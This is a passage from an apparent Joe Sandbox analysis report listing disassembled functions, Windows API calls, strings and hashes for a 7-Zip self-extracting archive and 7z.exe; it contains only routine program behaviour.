GetProcAddress.KERNEL32(00000000), ref: 004026F7

Strings

Wow64DisableWow64FsRedirection, xrefs: 004026E6
kernel32, xrefs: 004026EB

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32
API String ID: 2574300362-736604160
Opcode ID: f4a940be1505b68c475d95e46af471e523fc035b46ed24cc81ed57c5cf537299
Instruction ID: 4151df8360ba703b2413aa493284ccd41186626ab8f45a3e4bc2e954db12d2dd
Opcode Fuzzy Hash: f4a940be1505b68c475d95e46af471e523fc035b46ed24cc81ed57c5cf537299
Instruction Fuzzy Hash: C7D0C9B86936046AD6505BA6AD0DFE6B6A4AB80B02F9880296804E11E1C6FC4491DA2F

Function 004030CC Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(00405CDB,00405CDB,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?,00000000), ref: 004031D2

Part of subcall function 00402DCE: MultiByteToWideChar.KERNEL32(?,00000000,00000000,?,00000000,?,?,?,00000000,00000000,00403130,?,?,00000000,00000000,00000000), ref: 00402E00

??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB,?), ref: 0040313F
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,00405CDB), ref: 0040315A
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00403162

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@$ByteCharMultiWide
String ID:
API String ID: 1731127917-0
Opcode ID: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
Instruction ID: 048da0cb2dc02d8916bdec43440a285b354a653a086483b302c5f7621bf0cf9b
Opcode Fuzzy Hash: 2045a8c988effd66839eecf1b1e0e6c37eff9953a9d0c56656d8fdf52f7b1370
Instruction Fuzzy Hash: AD31F672804109AACB14EFA6DC829EF77BCEF04315B10443FF856B61E1EB3C9A45C668

Function 004048A3 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000001,00000000,00000002,00000000,00407468,00000000,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048C6
GetTempPathW.KERNEL32(00000001,00000000,00000001,?,?,004057F7,?,7ZSfx%03x.cmd), ref: 004048E3
wsprintfW.USER32 ref: 00404919
GetFileAttributesW.KERNEL32(?), ref: 00404934

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: PathTemp$AttributesFilewsprintf
String ID:
API String ID: 1746483863-0
Opcode ID: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
Instruction ID: 9a23dce76bf07ec62893e724c666a97d340ece38cae1712c454cfb59cab589fa
Opcode Fuzzy Hash: a6dd081e242313139652bdc03ce0b2f176d2a7b6371b1423e210ce58af9a7749
Instruction Fuzzy Hash: 5911E772200204BFD7119F55C845BAEB7B9FF84314F10842EF905D72E1DB79A9118B98

Function 0041271D Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT(00100EC3,0041C670), ref: 00412748
??2@YAPAXI@Z.MSVCRT(00000004,00000000,0041E3DC,?,?,00412815,0000007D,0041640F,0041E3DC,004035F5,00000000,?,00405789,?,00405D01,?), ref: 00412770
memcpy.MSVCRT(00000000,0051C7C0,00000004,00000000,0041E3DC,?,?,00412815,0000007D,0041640F,0041E3DC,004035F5,00000000,?,00405789,?), ref: 00412799
??3@YAXPAX@Z.MSVCRT(0051C7C0,00000000,0041E3DC,?,?,00412815,0000007D,0041640F,0041E3DC,004035F5,00000000,?,00405789,?,00405D01,?), ref: 004127A4

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??2@??3@ExceptionThrowmemcpy
String ID:
API String ID: 3462485524-0
Opcode ID: 7565129bc99c0d9bd0404751a75788fc8418b784189d73e03d7ab145d8551701
Instruction ID: 510514d82056c6b4fcd5a552fda661d2aed45214d42cdecf77f9d3eca8f48bd7
Opcode Fuzzy Hash: 7565129bc99c0d9bd0404751a75788fc8418b784189d73e03d7ab145d8551701
Instruction Fuzzy Hash: 0F110876200300ABCB289F16DAC0C9BF7EAAB84350720883FF569D7680C7B9ECD54758

Function 004091A7 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00407920: GetDlgItem.USER32(?,?), ref: 0040792C

Part of subcall function 0040793D: GetDlgItem.USER32(?,?), ref: 0040794A
Part of subcall function 0040793D: ShowWindow.USER32(00000000,?), ref: 00407961

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004091EF
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00000103), ref: 0040920F
GetDlgItem.USER32(?,000004B7), ref: 00409222
SetWindowLongW.USER32(00000000,000000FC,Function_00007F86), ref: 00409230

Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409240), ref: 00408E9F
Part of subcall function 00408E76: LoadIconW.USER32(00000000), ref: 00408EA2
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000032), ref: 00408EB6
Part of subcall function 00408E76: GetSystemMetrics.USER32(00000031), ref: 00408EBB
Part of subcall function 00408E76: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409240), ref: 00408EC4
Part of subcall function 00408E76: LoadImageW.USER32(00000000), ref: 00408EC7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EE7
Part of subcall function 00408E76: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408EF0
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F0C
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B2), ref: 00408F16
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F22
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F31
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F3F
Part of subcall function 00408E76: GetDlgItem.USER32(?,000004B5), ref: 00408F4D
Part of subcall function 00408E76: GetWindowLongW.USER32(?,000000F0), ref: 00408F59
Part of subcall function 00408E76: SetWindowLongW.USER32(?,000000F0,00000000), ref: 00408F68

Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: Item$Window$Long$System$HandleLoadMessageMetricsModuleSend$DirectoryFileFocusIconImageInfoShow
String ID:
API String ID: 3043669009-0
Opcode ID: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
Instruction ID: 3591c2bc138905537439c0aaf451187a84050bff03ea83390e11aea9625765cd
Opcode Fuzzy Hash: f423f1c94b217a71c22aa920f9295f7036f4086fcedb7640a741d3f85b4acc7a
Instruction Fuzzy Hash: B911C271F40314ABDB10EBA99D09F9A77BCAB84B04F00446FB241E32D1CAB899008B59

Function 004077FE Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000029,000001F4,?,00000000), ref: 00407825
GetSystemMetrics.USER32(00000031), ref: 0040784B
CreateFontIndirectW.GDI32(?), ref: 0040785A
DeleteObject.GDI32(00000000), ref: 00407889

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: System$CreateDeleteFontIndirectInfoMetricsObjectParameters
String ID:
API String ID: 1900162674-0
Opcode ID: 5da47058ff94d5803732122388ffcc42587bfddbb95a0ced26d5b12eadc4e772
Instruction ID: b25c457bbae17dd5d72c6f892d860256fe40de5a44a36179f6bad400e189aa1a
Opcode Fuzzy Hash: 5da47058ff94d5803732122388ffcc42587bfddbb95a0ced26d5b12eadc4e772
Instruction Fuzzy Hash: E4116376A00205AFDB149F54DC88BEAB7B8EB04304F0480AAED05A7391DB74AE40CB55

Function 00408D01 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

ScreenToClient.USER32(?,?), ref: 00408D3B
GetClientRect.USER32(?,?), ref: 00408D4D
PtInRect.USER32(?,?,?), ref: 00408D5C

Part of subcall function 00408763: KillTimer.USER32(?,00000001,?,00408D71), ref: 00408771

CallNextHookEx.USER32(?,?,?), ref: 00408D7E

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ClientRect$CallHookKillNextScreenTimer
String ID:
API String ID: 3015594791-0
Opcode ID: 09c0142bb5449cde29fe80b00b0c8c4aeb037efaebdbf96b535f10bbdd551267
Instruction ID: 5f24f27530ec3351cfe61c109b9f8109a002e7470ac3ae9da68eaa6329551e7b
Opcode Fuzzy Hash: 09c0142bb5449cde29fe80b00b0c8c4aeb037efaebdbf96b535f10bbdd551267
Instruction Fuzzy Hash: 23016D35101109EFDF109F55ED48EEA7BA6FF14384B18C53EF845A26A0EB35E850DB19

Function 00404412 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

Part of subcall function 004033E0: GetWindowTextLengthW.USER32(?), ref: 004033F1
Part of subcall function 004033E0: GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

??3@YAXPAX@Z.MSVCRT(?,?,?,0041A834,0041A83C), ref: 0040445E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,0041A834,0041A83C), ref: 00404466
SetWindowTextW.USER32(?,?), ref: 00404473
??3@YAXPAX@Z.MSVCRT(?), ref: 0040447E

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@TextWindow$Length
String ID:
API String ID: 2308334395-0
Opcode ID: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
Instruction ID: 3481eafec51d8512e57604988f767cc9cc3c1553ab35ab675722db7162792d52
Opcode Fuzzy Hash: 946fc21653a0a68691e606a30467c9a675c099ea4abd451042eb9ca157acbde2
Instruction Fuzzy Hash: 31F0FF76D04108BACF05BBA2DD46CDDBB7CEF18348F1040AAF50171091EA799B958B94

Function 00408079 Relevance: 6.0, APIs: 4, Instructions: 34windowCOMMON

Download Yara Rule

APIs

GetObjectW.GDI32(?,0000005C,?), ref: 00408094
CreateFontIndirectW.GDI32(?), ref: 004080AA
GetDlgItem.USER32(?,000004B5), ref: 004080BE
SendMessageW.USER32(00000000,00000030,00000000,00000000), ref: 004080CA

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: CreateFontIndirectItemMessageObjectSend
String ID:
API String ID: 2001801573-0
Opcode ID: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
Instruction ID: 956e92ef37cd049c126208e7095bac86b33f3b6997e338fc061b002d9265881b
Opcode Fuzzy Hash: 264c581feac235bf5db38c3df5d80af8d6bc45eebf8f891e465c2a489f60d106
Instruction Fuzzy Hash: 00F0BE71501708AFDB215BA4DD09FCBBBACAB88B01F048039FA41E22D0DBB4E4148A29

Function 0040B980 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00420B90), ref: 0040B989
LeaveCriticalSection.KERNEL32(00420B90), ref: 0040B9CC

Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B824
Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT ref: 0040B866
Part of subcall function 0040B7A0: ??2@YAPAXI@Z.MSVCRT(?,0000001F), ref: 0040B87C
Part of subcall function 0040B7A0: memmove.MSVCRT(00000000,?,?,?,0000001F), ref: 0040B899
Part of subcall function 0040B7A0: ??3@YAXPAX@Z.MSVCRT(?,?,0000001F), ref: 0040B8A6
Part of subcall function 0040B7A0: memmove.MSVCRT(?,?,?,?,?,0000001F), ref: 0040B8C4

Part of subcall function 0040AEE0: memset.MSVCRT ref: 0040AF4D

Part of subcall function 0040B910: ??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B937

Strings

$A, xrefs: 0040B99D
$A, xrefs: 0040B9B5

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??2@$??3@CriticalSectionmemmove$EnterLeavememset
String ID: $A$$A
API String ID: 2633840989-464203494
Opcode ID: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
Instruction ID: 6d2d4446e2632278ac84d03e88f46c99b33c2e18b0b42c59bf91942fc9617b32
Opcode Fuzzy Hash: 678182a7b1fb41f2735d9a1324951dca02cc2b15f86711d7f43aa98ef369e29f
Instruction Fuzzy Hash: B8E0927431112516892437566C15AFE1B9ACEC5348B00043FF701732C3CFAD299642EE

Function 00402083 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00402088
GetWindowRect.USER32(?,?), ref: 004020A1
ScreenToClient.USER32(00000000,?), ref: 004020AF
ScreenToClient.USER32(00000000,?), ref: 004020B6

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ClientScreen$ParentRectWindow
String ID:
API String ID: 2099118873-0
Opcode ID: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
Instruction ID: 302afeb31cedc52bf97cb9c1a24104c68e6dc93ac8c9cb6ce1a7b953da425052
Opcode Fuzzy Hash: c1e4db117b574ef1589c0c9d55717d3f19d7559ec2b1b8ce9c9335790e320de4
Instruction Fuzzy Hash: 3DE086721063216FD7119BB5BC88C8B7FADEFC5A26700447AF64592321C7729C20DA72

Function 004052DE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 004083EA: GetSystemMetrics.USER32(00000010), ref: 0040842C
Part of subcall function 004083EA: GetSystemMetrics.USER32(00000011), ref: 0040843A

wsprintfW.USER32 ref: 00405364
??3@YAXPAX@Z.MSVCRT(?,00000011,?,00000000,0041B828,?), ref: 004053A1

Strings

%X - %03X - %03X - %03X - %03X, xrefs: 0040535E

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: MetricsSystem$??3@wsprintf
String ID: %X - %03X - %03X - %03X - %03X
API String ID: 1174869416-1993364030
Opcode ID: 9da405b217e236085c795cf3f54e4910e22096123c54df3e54b31411474b3c7f
Instruction ID: 65adf6dcda70838bb3b21e6056e5f535fe41afcbb6b0b1b43c55218142ba6697
Opcode Fuzzy Hash: 9da405b217e236085c795cf3f54e4910e22096123c54df3e54b31411474b3c7f
Instruction Fuzzy Hash: 7D117231A40218AADB51FB95ED46FDD7338FF14B08F50417AB911361D2DFB86A45CB88

Function 00408645 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 0040867A
??3@YAXPAX@Z.MSVCRT(?,?,?,?), ref: 004086A2

Strings

(%d%s), xrefs: 00408674

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: ??3@wsprintf
String ID: (%d%s)
API String ID: 3815514257-2087557067
Opcode ID: 61444d802996020068455bd4b1035fbf1a094a957ca52f7f25f2d899a103b017
Instruction ID: b8a3091fb0a8786d5856ec0415992ba747c3c410e3350e73f686e4d9c7ab3f81
Opcode Fuzzy Hash: 61444d802996020068455bd4b1035fbf1a094a957ca52f7f25f2d899a103b017
Instruction Fuzzy Hash: E3F06271900218ABCB21B756DD06ECA777CAF00304F1041BBA552B15E2DA75AA54CB98

Function 004033E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(?), ref: 004033F1
GetWindowTextW.USER32(j4@,00000000,00000001), ref: 0040340E

Strings

j4@, xrefs: 0040340A

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: TextWindow$Length
String ID: j4@
API String ID: 1006428111-2012685699
Opcode ID: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
Instruction ID: 3817dcc93708ae326cc9214659a9c4e7fc7be87bb8e982cfdb796d017d3acd91
Opcode Fuzzy Hash: a5a5aa5c2199368c0d63f38f78d8696d952a23570f2059af60636447187a34c1
Instruction Fuzzy Hash: 89E09239200212AFC2229F19D84486FBBFAEFC4310B00847AF841D33E1CB39DC118B95

Function 0040474E Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 7windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,Could not allocate memory,7-Zip SFX,00000010), ref: 0040475C

Strings

Could not allocate memory, xrefs: 00404755
7-Zip SFX, xrefs: 00404750

Memory Dump Source

Source File: 00000010.00000002.4017543989.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000010.00000002.4017505413.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017587254.000000000041A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017609709.000000000041E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.4017658436.0000000000423000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_400000_X0JA3EDV7BU5B3IH21ST0OE852AR.jbxd

Similarity

API ID: Message
String ID: 7-Zip SFX$Could not allocate memory
API String ID: 2030045667-3806377612
Opcode ID: 6e4107068b50d37af6e098bbdeb86df69921fc5b65f8f057bb3becd2315cd132
Instruction ID: eff6b3f0ce1e45bdfd51bc9acb40b22f926f37b9a8d4657fa527a9dafaf84f3f
Opcode Fuzzy Hash: 6e4107068b50d37af6e098bbdeb86df69921fc5b65f8f057bb3becd2315cd132
Instruction Fuzzy Hash: 5AB012703C130022E21113200C07FC416408B08F13F10C552B108A80D3CBD900D0205D

Analysis Process: 7z.exePID: 1176, Parent PID: 5688COMMON

Executed Functions

Function 00158817 Relevance: 130.3, APIs: 62, Strings: 12, Instructions: 780COMMON

Download Yara Rule

APIs

fputs.MSVCRT ref: 00158826
GetStdHandle.KERNEL32 ref: 0015887D
GetConsoleScreenBufferInfo.KERNELBASE ref: 0015888E
_CxxThrowException.MSVCRT ref: 001589BD

Strings

Unsupported archive type, xrefs: 00158AAD, 00158BB8
Formats:, xrefs: 00158CC7
7-Zip cannot find the code that works with archives., xrefs: 00158A54
Codecs:, xrefs: 0015903E
offset=, xrefs: 00158ECF
Libs:, xrefs: 00158C5B
Can't load module: , xrefs: 00158A04
, xrefs: 00158FD6
7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21, xrefs: 0015881F
Hashers:, xrefs: 001592B6
|| , xrefs: 00158F0B
KSNFMGOPBELH, xrefs: 00158CDC, 00158D4A

Memory Dump Source

Source File: 00000014.00000002.3716565872.0000000000111000.00000020.00000001.01000000.00000008.sdmp, Offset: 00110000, based on PE: true

Associated: 00000014.00000002.3716540046.0000000000110000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716632499.000000000015F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716659407.000000000017C000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000014.00000002.3716677500.000000000017F000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_110000_7z.jbxd

Similarity

API ID: BufferConsoleExceptionHandleInfoScreenThrowfputs
String ID: 7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21$ $ || $7-Zip cannot find the code that works with archives.$Can't load module: $Codecs:$Formats:$Hashers:$KSNFMGOPBELH$Libs:$Unsupported archive type$offset=
API String ID: 3442115484-272389550
Opcode ID: 7760baf1af826760d5cc902eb13af7624987e20b9658c42b93d7d9b3a1d12304
Instruction ID: 0659513c9e02d955e39c2c74a93585857128071e4dc0d621fdbddd505fbd03ec
Opcode Fuzzy Hash: 7760baf1af826760d5cc902eb13af7624987e20b9658c42b93d7d9b3a1d12304
Instruction Fuzzy Hash: AD72A172214A81C6DB74EF25E8903EE7361F799B82F408126DEAA4B758DF3CC559CB40

Function 001324C0 Relevance: 102.2, APIs: 81, Instructions: 981COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 001326E4
free.MSVCRT ref: 001326EF
free.MSVCRT ref: 0013274F
free.MSVCRT ref: 0013275A
free.MSVCRT ref: 001327FF
free.MSVCRT ref: 00132807
free.MSVCRT ref: 00132818
free.MSVCRT ref: 00132826
free.MSVCRT ref: 00132831
free.MSVCRT ref: 00132869
free.MSVCRT ref: 00132871
free.MSVCRT ref: 00132882
free.MSVCRT ref: 00132951
free.MSVCRT ref: 0013295C
free.MSVCRT ref: 00132A36
free.MSVCRT ref: 00132A3E
free.MSVCRT ref: 00132A52
